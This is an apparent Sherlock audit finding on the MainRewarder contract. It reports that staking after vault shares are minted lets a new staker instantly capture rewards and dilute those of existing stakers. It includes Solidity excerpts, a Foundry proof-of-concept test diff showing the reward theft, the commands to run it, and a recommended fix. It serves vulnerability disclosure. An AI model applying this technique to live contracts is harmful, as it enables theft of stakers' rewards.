berndartmueller - MainRewarder staking rewards are diluted by new stakers resulting in less rewards for existing stakers

[sherlock-admin]

berndartmueller

high

MainRewarder staking rewards are diluted by new stakers resulting in less rewards for existing stakers

Summary

The LMPVault and DestinationVault contracts call the MainRewarder.stake function too late, after new shares have been issued. This dilutes the rewards for existing stakers and allows new stakers to immediately accrue and withdraw staking rewards.

Vulnerability Detail

Both the LMPVault and DestinationVault contracts have a MainRewarder rewarder instance associated with them. The MainRewarder contract does not keep track of staked tokens itself. Instead, it uses the associated vault tokens as a tracker. This is different from the forked Synthetix StakingRewards contract.

This leads to issues when calculating the rewards per token, as the calculation uses the total token supply of the tracked token. Retrieving the total token supply with the stakeTracker.totalSupply function returns the already increased supply, due to calling the MainRewarder.stake function within the ERC20._afterTokenTransfer function of both the LMPVault (line 863) and DestinationVault (line 351) contract.

The first time someone stakes, i.e., the MainRewarder.stake is called, internally, the state variables are updated within the AbstractRewarder._updateReward. The staker's rewards are also calculated and stored in rewards[account], as seen in line 135. The culprit is that the earned function already returns rewards for the staker, even though the staker just staked and no blocks have passed yet.

src/rewarders/AbstractRewarder.sol#L134-L136

128: function _updateReward(address account) internal {
129:     uint256 earnedRewards = 0;
130:     rewardPerTokenStored = rewardPerToken();
131:     lastUpdateBlock = lastBlockRewardApplicable();
132:
133:     if (account != address(0)) {
134:         earnedRewards = earned(account);
135:         rewards[account] = earnedRewards;
136:         userRewardPerTokenPaid[account] = rewardPerTokenStored;
137:     }
138:
139:     emit UserRewardUpdated(account, earnedRewards, rewardPerTokenStored, lastUpdateBlock);
140: }

This issue is caused due to the balanceOf function already incorporating the staker's shares of the tracker contract and userRewardPerTokenPaid[account] being zero for the staker's first stake.

src/rewarders/AbstractRewarder.earned(..)

204: function earned(address account) public view returns (uint256) {
205:     return (balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18) + rewards[account];
206: }

Consequently, the rewards per token are diluted and current stakers receive less rewards than anticipated. Specifically, a new staker (i.e., user depositing into LMPVault) immediately accrues rewards and can withdraw them, effectively stealing rewards from other stakers.

The following test case demonstrates this issue by having Bob stake at the end of the reward period, immediately receiving a huge chunk of rewards and diluting the rewards for the RANDOM user:

Test case (click to reveal)

diff --git a/v2-core-audit-2023-07-14/test/mocks/StakeTrackingMock.sol b/v2-core-audit-2023-07-14/test/mocks/StakeTrackingMock.sol
index 32a3d92..ee49209 100644
--- a/v2-core-audit-2023-07-14/test/mocks/StakeTrackingMock.sol
+++ b/v2-core-audit-2023-07-14/test/mocks/StakeTrackingMock.sol
@@ -3,13 +3,25 @@
 pragma solidity 0.8.17;

 import { IStakeTracking } from "src/interfaces/rewarders/IStakeTracking.sol";
+import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";

-contract StakeTrackingMock is IStakeTracking {
-    function totalSupply() external pure returns (uint256) {
-        return 100_000_000_000_000_000;
+contract StakeTrackingMock is ERC20, IStakeTracking {
+
+    constructor() ERC20("StakeTrackingMock", "SMock") {}
+
+    function mint(address account, uint256 amount) external {
+        _mint(account, amount);
+    }
+
+    function burn(address account, uint256 amount) external {
+        _burn(account, amount);
+    }
+
+    function totalSupply() public view override(ERC20, IStakeTracking) returns (uint256) {
+        return super.totalSupply();
     }

-    function balanceOf(address) external pure returns (uint256) {
-        return 100_000_000_000_000_000;
+    function balanceOf(address account) public view override(ERC20, IStakeTracking) returns (uint256) {
+        return super.balanceOf(account);
     }
 }
diff --git a/v2-core-audit-2023-07-14/test/rewarders/RewardVault.t.sol b/v2-core-audit-2023-07-14/test/rewarders/RewardVault.t.sol
index 8373946..8b96047 100644
--- a/v2-core-audit-2023-07-14/test/rewarders/RewardVault.t.sol
+++ b/v2-core-audit-2023-07-14/test/rewarders/RewardVault.t.sol
@@ -41,7 +41,7 @@ contract MainRewarderTest is BaseTest {
     ERC20Mock private extraReward1;
     ERC20Mock private extraReward2;

-    uint256 private amount = 100_000;
+    uint256 private amount = 100e18;
     uint256 private newRewardRatio = 800;
     uint256 private durationInBlock = 100;

@@ -169,6 +169,34 @@ contract MainRewarderTest is BaseTest {
         assertEq(extraReward2BalanceAfter - extraReward2BalanceBefore, amount);
     }

+    function test_getAllRewards_exploit() public {
+        stakeTracker.mint(RANDOM, amount);
+
+        assertEq(mainRewardVault.currentRewards(), 100e18);
+
+        vm.prank(address(stakeTracker));
+        mainRewardVault.stake(RANDOM, amount);
+
+        vm.roll(block.number + 100); // skip to the end of the reward period
+
+        uint256 earned = mainRewardVault.earned(RANDOM);
+        assertEq(earned, amount);
+
+        address bob = vm.addr(3);
+        vm.label(bob, "Bob");
+
+        stakeTracker.mint(bob, 1_000e18); // Bob acquires a large stake in the `stakeTracker`
+
+        vm.prank(address(stakeTracker));
+        mainRewardVault.stake(bob, 1_000e18); // Bob stakes at the end of the reward period
+
+        uint256 bobEarned = mainRewardVault.earned(bob);
+        uint256 randomEarned = mainRewardVault.earned(RANDOM);
+
+        assertApproxEqRel(bobEarned, 90e18, 0.02e18); // 2% error // @audit-info Bob receives immediately almost 90e18 staking rewards
+        assertApproxEqRel(randomEarned, 10e18, 0.1e18); // 10% error // @audit-info Random got diluted by Bob
+    }
+
     function test_toke_autoStakeRewards() public {
         _runTokeStakingTest(30 days, 0, true);
     }

How to run this test case:

Save git diff to a file named exploit-rewards.patch and run with

git apply exploit-rewards.patch
forge test -vv --match-test "test_getAllRewards_exploit"

Result:

Running 1 test for test/rewarders/RewardVault.t.sol:MainRewarderTest
[PASS] test_getAllRewards_exploit() (gas: 421092)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.98s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Stakers can immediately accrue and withdraw staking rewards, leading to diluted rewards for other stakers and stealing rewards.

Code Snippet

src/rewarders/AbstractRewarder.rewardPerToken()

totalSupply() incorporates the already minted shares of the tracked token (i.e., LMPVault or DestinationVault), diluting the rewards for existing stakers.

174: function rewardPerToken() public view returns (uint256) {
175:     uint256 total = totalSupply();
176:     if (total == 0) {
177:         return rewardPerTokenStored;
178:     }
179:
180:     return rewardPerTokenStored + ((lastBlockRewardApplicable() - lastUpdateBlock) * rewardRate * 1e18 / total);
181: }

Tool used

Manual Review

Recommendation

Consider calling the stake function of the MainRewarder function before the LMPVault and DestinationVault token total supply is increased, i.e., in the _beforeTokenTransfer function instead of the _afterTokenTransfer function.

Duplicate of #603